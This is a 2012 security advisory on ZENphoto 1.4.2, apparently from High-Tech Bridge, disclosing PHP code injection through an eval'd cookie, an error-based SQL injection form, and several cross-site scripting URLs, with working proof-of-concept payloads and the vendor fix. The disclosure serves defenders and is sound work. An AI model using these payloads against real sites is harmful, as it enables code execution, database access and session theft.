Community Edition
Total Tests:
This Week:
Today:

Multiple vulnerabilities in ZENphoto

Advisory ID:HTB23070
Product:ZENphoto
Vendor:ZENphoto
Vulnerable Versions:1.4.2 and probably prior
Tested Version:1.4.2
Advisory Publication:January 18, 2012 [without technical details]
Vendor Notification:January 18, 2012
Vendor Fix:January 19, 2012
Public Disclosure:February 8, 2012
Latest Update:February 7, 2012
Vulnerability Type:Code Injection [CWE-94]
SQL Injection [CWE-89]
Cross-Site Scripting [CWE-79]
CVE References:CVE-2012-0993
CVE-2012-0994
CVE-2012-0995
Risk Level:Critical
CVSSv2 Base Scores:9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C)
6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in ZENphoto, which can be exploited to perform arbitrary PHP code execution, sql injection and cross site scripting attacks.

1) Arbitrary PHP Code Execution in ZENphoto: CVE-2012-0993
Input passed via "viewer_size_image_saved" COOKIE parameter is not properly sanitised before being used in an "eval()" call.
This can be exploited to execute arbitrary PHP code.
The following PoC is available:
GET /[album_name]/[image.jpg].php HTTP/1.1
Cookie: viewer_size_image_saved=phpinfo()

Successful exploitation of this vulnerability requires that "viewer_size_image" plugin is enabled (disabled by default).

2) SQL Injection in ZENphoto: CVE-2012-0994
Input passed via the "sortableList" POST parameter to /zp-core/admin-albumsort.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
<form action="http://[host]/zp-core/admin-albumsort.php?page=edit&album=1&saved&ta b=sort" method="post">
<input type="hidden" name="XSRFToken" value="[XSRFToken]">
<input type="hidden" name="sortableList" value="id[]=3&id[]=2 OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a-1)%2)))">
<input type="submit" id="btn">
</form>

Successful exploitation of this vulnerability requires the attacker to be logged-in and have access to "Manage Albums" function.

3) Multiple XSS in ZENphoto: CVE-2012-0995
3.1 Input passed via the "msg" GET parameters to /zp-core/admin.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
The following PoC is available:
http://[host]/zp-core/admin.php?action=external&error&msg=%3Cscript%3Ealert% 28document.cookie%29%3C/script%3E
This vulnerability can be used against any logged-in user.
3.2 Input appended to the URL is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
The following PoC is available:
http://[host]/1/xxx%3Cimg+src=x+onerror=alert%28document.cookie%29%3E/
3.3 Input appended to the URL after /zp-core/admin.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
The following PoC is available:
http://[host]/zp-core/admin.php?a=&quot;&gt;&lt;script&gt;alert%28document.c ookie%29&lt;/script&gt;
3.4 Input passed via the "album" GET parameters to /zp-core/admin-edit.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
The following PoC is available:
http://[host]/zp-core/admin-edit.php?page=edit&album=%22%3E%3Cscript%3Ealert %28document.cookie%29%3C/script%3E&uploaded&subpage=1&tab=imageinfo&albumima gesort=id_desc
This vulnerability can be used against any user with "Manage all albums" privilege.

How to Detect Code Injection Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Solution:
Upgrade to Zenphoto 1.4.2.1

More information:
http://www.zenphoto.org/news/zenphoto-1.4.2.1


References:
[1] High-Tech Bridge Advisory HTB23070 - https://www.immuniweb.com/advisory/HTB23070 - Multiple vulnerabilities in ZENphoto.
[2] ZENphoto - http://www.zenphoto.org/ - Zenphoto is a standalone CMS for multimedia focused websites.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Ask a Question